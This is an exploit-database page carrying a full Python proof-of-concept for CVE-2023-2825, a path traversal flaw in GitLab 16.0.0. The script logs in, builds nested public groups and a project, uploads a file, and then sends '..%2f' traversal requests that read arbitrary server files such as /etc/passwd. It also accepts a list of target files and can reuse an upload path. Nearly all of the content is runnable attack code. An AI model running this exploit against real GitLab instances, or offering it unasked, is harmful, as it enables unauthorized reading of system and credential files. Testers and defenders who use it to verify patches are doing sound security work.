Exploit database

GH-4dd64b7d4eca7809841e271cc826e7e4

groppoxx/cve-2023-2825-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-2825

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
groppoxx/cve-2023-2825-pocRevision 28058eb50f56

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve_2023_2825.py

Python · 17,217 bytes
from __future__ import annotations

import argparse
import random
import string
import sys
import urllib.parse
from datetime import datetime, timezone
from typing import List

import requests
import urllib3
from bs4 import BeautifulSoup


GROUP_COUNT = 11
TRAVERSAL_DEPTH = 12
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
RED = "\033[31m"


class Console:
    def __init__(
        self,
        only_final: bool = False,
        no_color: bool = False,
        debug_enabled: bool = False,
    ) -> None:
        self.only_final = only_final
        self.no_color = no_color or not sys.stdout.isatty()
        self.debug_enabled = debug_enabled

    def color(self, text: str, code: str) -> str:
        if self.no_color:
            return text
        return f"{code}{text}{RESET}"

    def log(self, marker: str, message: str, color: str = RESET) -> None:
        if self.only_final:
            return
        ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
        prefix = self.color(f"[{ts}]", DIM)
        print(f"{prefix} {self.color(marker, color)} {message}", flush=True)

    def info(self, message: str) -> None:
        self.log("[*]", message, CYAN)

    def ok(self, message: str) -> None:
        self.log("[+]", message, GREEN)

    def warn(self, message: str) -> None:
        self.log("[!]", message, YELLOW)

    def error(self, message: str) -> None:
        self.log("[-]", message, RED)

    def debug(self, message: str) -> None:
        if self.debug_enabled:
            self.log("[d]", message, DIM)

    def result(self, target_file: str, content: str) -> None:
        title = f"Content of {target_file}"
        if self.only_final:
            print(content)
            return
        print("")
        print(self.color(f"[+] {title}", BOLD + GREEN))
        print(content)


console = Console()


def log_info(message: str) -> None:
    console.info(message)


def log_success(message: str) -> None:
    console.ok(message)


def log_error(message: str) -> None:
    console.error(message)


def random_name(prefix: str) -> str:
    suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
    return f"{prefix}-{suffix}"


def random_short_prefix(length: int = 3) -> str:
    return "".join(random.choices(string.ascii_uppercase + string.digits, k=length))


def load_targets(file_path: str) -> List[str]:
    targets: List[str] = []

    try:
        with open(file_path, "r", encoding="utf-8") as file:
            for line in file:
                line = line.strip()

                if not line:
                    continue

                if line.startswith("#"):
                    continue

                targets.append(line)

    except FileNotFoundError:
        log_error(f"File list not found: {file_path}")
        sys.exit(1)

    if not targets:
        log_error("File list is empty")
        sys.exit(1)

    return targets


class GitLabCVE20232825:
    def __init__(
        self,
        base_url: str,
        username: str | None,
        password: str | None,
        targets: List[str],
        group_count: int,
        traversal_depth: int,
        reuse_path: str | None = None,
    ) -> None:
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.targets = targets
        self.group_count = group_count
        self.traversal_depth = traversal_depth
        self.reuse_path = reuse_path

        self.session = requests.Session()
        self.session.headers.update(
            {
                "User-Agent": (
                    "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) "
                    "Gecko/20100101 Firefox/128.0"
                )
            }
        )
        self.csrf_token = ""

    def request(
        self,
        method: str,
        path: str,
        data: dict | None = None,
        files: dict | None = None,
        headers: dict | None = None,
    ) -> requests.Response:
        url = f"{self.base_url}{path}"

        try:
            response = self.session.request(
                method=method,
                url=url,
                data=data,
                files=files,
                headers=headers,
                timeout=20,
                allow_redirects=True,
                verify=False,
            )
        except requests.RequestException as error:
            log_error(f"Request failed: {error}")
            sys.exit(1)

        self.update_csrf_token(response)
        return response

    def update_csrf_token(self, response: requests.Response) -> None:
        content_type = response.headers.get("content-type", "")

        if "text/html" not in content_type.lower():
            return

        soup = BeautifulSoup(response.text, "html.parser")
        token = soup.find("meta", {"name": "csrf-token"})

        if token and token.get("content"):
            self.csrf_token = token["content"]

    def get_csrf_token(self) -> None:
        log_info("Getting CSRF token")

        response = self.request("GET", "/users/sign_in")

        if response.status_code != 200:
            log_error("Could not load sign in page")
            sys.exit(1)

        if not self.csrf_token:
            log_error("Could not find CSRF token")
            sys.exit(1)

        log_success("CSRF token found")

    def login(self) -> None:
        if not self.username or not self.password:
            log_error("Username and password are required unless --reuse-path is used")
            sys.exit(1)

        self.get_csrf_token()

        log_info(f"Logging in as {self.username}")

        data = {
            "user[login]": self.username,
            "user[password]": self.password,
            "authenticity_token": self.csrf_token,
        }

        response = self.request(
            "POST",
            "/users/sign_in",
            data=data,
        )

        if "users/sign_in" in response.url:
            log_error("Login failed")
            sys.exit(1)

        log_success("Login successful")

    def create_groups(self) -> str:
        log_info(f"Creating {self.group_count} nested public groups")

        parent_id = ""
        group_prefix = random_short_prefix()
        group_path_parts: List[str] = []

        for index in range(1, self.group_count + 1):
            group_name = f"{group_prefix}-{index}"

            data = {
                "group[parent_id]": parent_id,
                "group[name]": group_name,
                "group[path]": group_name,
                "group[visibility_level]": "20",
                "user[role]": "software_developer",
                "group[jobs_to_be_done]": "",
                "authenticity_token": self.csrf_token,
            }

            response = self.request(
                "POST",
                "/groups",
                data=data,
            )

            if response.status_code != 200:
                log_error(f"Could not create group: {group_name}")
                sys.exit(1)

            group_path_parts.append(group_name)
            parent_id = self.extract_group_id(response) or self.get_group_id(
                "/".join(group_path_parts)
            )
            log_success(f"Created group: {group_name}")

        return parent_id

    def extract_group_id(self, response: requests.Response) -> str | None:
        soup = BeautifulSoup(response.text, "html.parser")
        group_id_button = soup.find("button", {"title": "Copy group ID"})

        if group_id_button and group_id_button.get("data-clipboard-text"):
            return str(group_id_button["data-clipboard-text"])

        return None

    def get_group_id(self, group_full_path: str) -> str:
        encoded_path = urllib.parse.quote(group_full_path, safe="")
        response = self.request("GET", f"/api/v4/groups/{encoded_path}")

        if response.status_code != 200:
            log_error(f"Could not fetch group ID for: {group_full_path}")
            log_error(f"GitLab API returned HTTP {response.status_code}")
            if response.text:
                log_error(response.text[:300].replace("\n", " "))
            sys.exit(1)

        try:
            group_id = response.json()["id"]
        except Exception:
            log_error(f"Could not parse group ID for: {group_full_path}")
            if response.text:
                log_error(response.text[:300].replace("\n", " "))
            sys.exit(1)

        return str(group_id)

    def create_project(self, namespace_id: str) -> str:
        project_name = random_name("poc")

        log_info("Creating public project")

        data = {
            "project[ci_cd_only]": "false",
            "project[name]": project_name,
            "project[selected_namespace_id]": namespace_id,
            "project[namespace_id]": namespace_id,
            "project[path]": project_name,
            "project[visibility_level]": "20",
            "project[initialize_with_readme]": "1",
            "authenticity_token": self.csrf_token,
        }

        response = self.request(
            "POST",
            "/projects",
            data=data,
        )

        if response.status_code != 200:
            log_error("Could not create project")
            sys.exit(1)

        repo_path = urllib.parse.urlparse(response.url).path

        if not repo_path:
            log_error("Could not get project path")
            sys.exit(1)

        log_success(f"Created project: {repo_path}")

        return repo_path

    def upload_file(self, repo_path: str) -> str:
        log_info("Uploading attachment")

        headers = {
            "X-CSRF-Token": self.csrf_token,
        }

        files = {
            "file": ("poc.txt", b"CVE-2023-2825 PoC"),
        }

        response = self.request(
            "POST",
            f"{repo_path}/uploads",
            files=files,
            headers=headers,
        )

        if response.status_code != 200:
            log_error("Could not upload attachment")
            sys.exit(1)

        try:
            file_url = response.json()["link"]["url"]
        except Exception:
            log_error("Could not extract uploaded file URL")
            sys.exit(1)

        log_success(f"Uploaded file: {file_url}")

        return file_url

    def build_exploit_path(
        self,
        repo_path: str,
        file_url: str,
        target_file: str,
    ) -> str:
        upload_dir = file_url.rsplit("/", 1)[0] + "/"
        traversal = "..%2f" * self.traversal_depth

        target_file = target_file.lstrip("/")
        encoded_target = "%2f".join(
            urllib.parse.quote(part, safe="") for part in target_file.split("/")
        )

        return f"{repo_path}{upload_dir}{traversal}{encoded_target}"

    def build_exploit_path_from_upload_base(
        self,
        upload_base_path: str,
        target_file: str,
    ) -> str:
        upload_base_path = upload_base_path.strip()

        parsed = urllib.parse.urlparse(upload_base_path)
        if parsed.scheme and parsed.netloc:
            self.base_url = f"{parsed.scheme}://{parsed.netloc}"
            upload_base_path = parsed.path

        upload_base_path = "/" + upload_base_path.strip("/")
        traversal = "..%2f" * self.traversal_depth

        target_file = target_file.lstrip("/")
        encoded_target = "%2f".join(
            urllib.parse.quote(part, safe="") for part in target_file.split("/")
        )

        return f"{upload_base_path}/{traversal}{encoded_target}"

    def read_file(
        self,
        repo_path: str,
        file_url: str,
        target_file: str,
    ) -> None:
        exploit_path = self.build_exploit_path(
            repo_path=repo_path,
            file_url=file_url,
            target_file=target_file,
        )

        log_info(f"Reading file: {target_file}")
        console.debug(f"Exploit path: {exploit_path}")

        response = self.request("GET", exploit_path)

        if response.status_code != 200:
            log_error(f"Could not read {target_file} | HTTP {response.status_code}")
            if response.text:
                log_error(response.text[:300].replace("\n", " "))
            return

        console.result(target_file, response.text)

    def read_file_from_upload_base(self, upload_base_path: str, target_file: str) -> None:
        exploit_path = self.build_exploit_path_from_upload_base(
            upload_base_path=upload_base_path,
            target_file=target_file,
        )

        log_info(f"Reading file: {target_file}")
        console.debug(f"Exploit path: {exploit_path}")

        response = self.request("GET", exploit_path)

        if response.status_code != 200:
            log_error(f"Could not read {target_file} | HTTP {response.status_code}")
            if response.text:
                log_error(response.text[:300].replace("\n", " "))
            return

        console.result(target_file, response.text)

    def run(self) -> None:
        if self.reuse_path:
            log_info("Using existing upload path")
            for target_file in self.targets:
                self.read_file_from_upload_base(
                    upload_base_path=self.reuse_path,
                    target_file=target_file,
                )
            return

        self.login()

        namespace_id = self.create_groups()
        repo_path = self.create_project(namespace_id)
        file_url = self.upload_file(repo_path)
        upload_base_path = f"{repo_path}{file_url.rsplit('/', 1)[0]}/"

        log_success(f"Reusable upload path: {upload_base_path}")

        for target_file in self.targets:
            self.read_file(
                repo_path=repo_path,
                file_url=file_url,
                target_file=target_file,
            )


def main() -> None:
    parser = argparse.ArgumentParser(
        description="CVE-2023-2825 GitLab CE/EE 16.0.0 arbitrary file read PoC"
    )

    parser.add_argument(
        "--url",
        help="GitLab base URL. Example: http://gitlab.local",
    )

    parser.add_argument(
        "--username",
        help="GitLab username",
    )

    parser.add_argument(
        "--password",
        help="GitLab password",
    )

    parser.add_argument(
        "--file",
        help="Single target file to read. Example: /etc/passwd",
    )

    parser.add_argument(
        "--list",
        help="Text file with target paths. Example: files.txt",
    )

    parser.add_argument(
        "--groups",
        type=int,
        default=GROUP_COUNT,
        help=f"Nested public groups to create. Default: {GROUP_COUNT}",
    )

    parser.add_argument(
        "--depth",
        type=int,
        default=TRAVERSAL_DEPTH,
        help=f"Traversal depth to use. Default: {TRAVERSAL_DEPTH}",
    )

    parser.add_argument(
        "--reuse-path",
        help=(
            "Existing project upload directory. Example: "
            "/G1-1/G1-2/.../project/uploads/<hash>/"
        ),
    )

    parser.add_argument(
        "--only-final",
        action="store_true",
        help="Hide progress logs and print only file contents",
    )

    parser.add_argument(
        "--no-color",
        action="store_true",
        help="Disable ANSI colors",
    )

    parser.add_argument(
        "--debug",
        action="store_true",
        help="Show exploit paths and extra diagnostic details",
    )

    args = parser.parse_args()

    global console
    console = Console(
        only_final=args.only_final,
        no_color=args.no_color,
        debug_enabled=args.debug,
    )

    if args.file:
        targets = [args.file]
    elif args.list:
        targets = load_targets(args.list)
    else:
        log_error("Use --file for one target or --list for multiple targets")
        sys.exit(1)

    if args.groups < 1:
        log_error("--groups must be greater than 0")
        sys.exit(1)

    if args.depth < 1:
        log_error("--depth must be greater than 0")
        sys.exit(1)

    if not args.reuse_path and (not args.username or not args.password):
        log_error("Use --username/--password, or provide --reuse-path to skip setup")
        sys.exit(1)

    base_url = args.url
    if not base_url and args.reuse_path:
        parsed_reuse = urllib.parse.urlparse(args.reuse_path)
        if parsed_reuse.scheme and parsed_reuse.netloc:
            base_url = f"{parsed_reuse.scheme}://{parsed_reuse.netloc}"

    if not base_url:
        log_error("Use --url, or provide --reuse-path as a full URL")
        sys.exit(1)

    if args.groups + 3 < args.depth:
        log_error(
            "--groups is too low for --depth. "
            f"Use at least {args.depth - 3} groups for depth {args.depth}."
        )
        sys.exit(1)

    exploit = GitLabCVE20232825(
        base_url=base_url,
        username=args.username,
        password=args.password,
        targets=targets,
        group_count=args.groups,
        traversal_depth=args.depth,
        reuse_path=args.reuse_path,
    )

    exploit.run()


if __name__ == "__main__":
    main()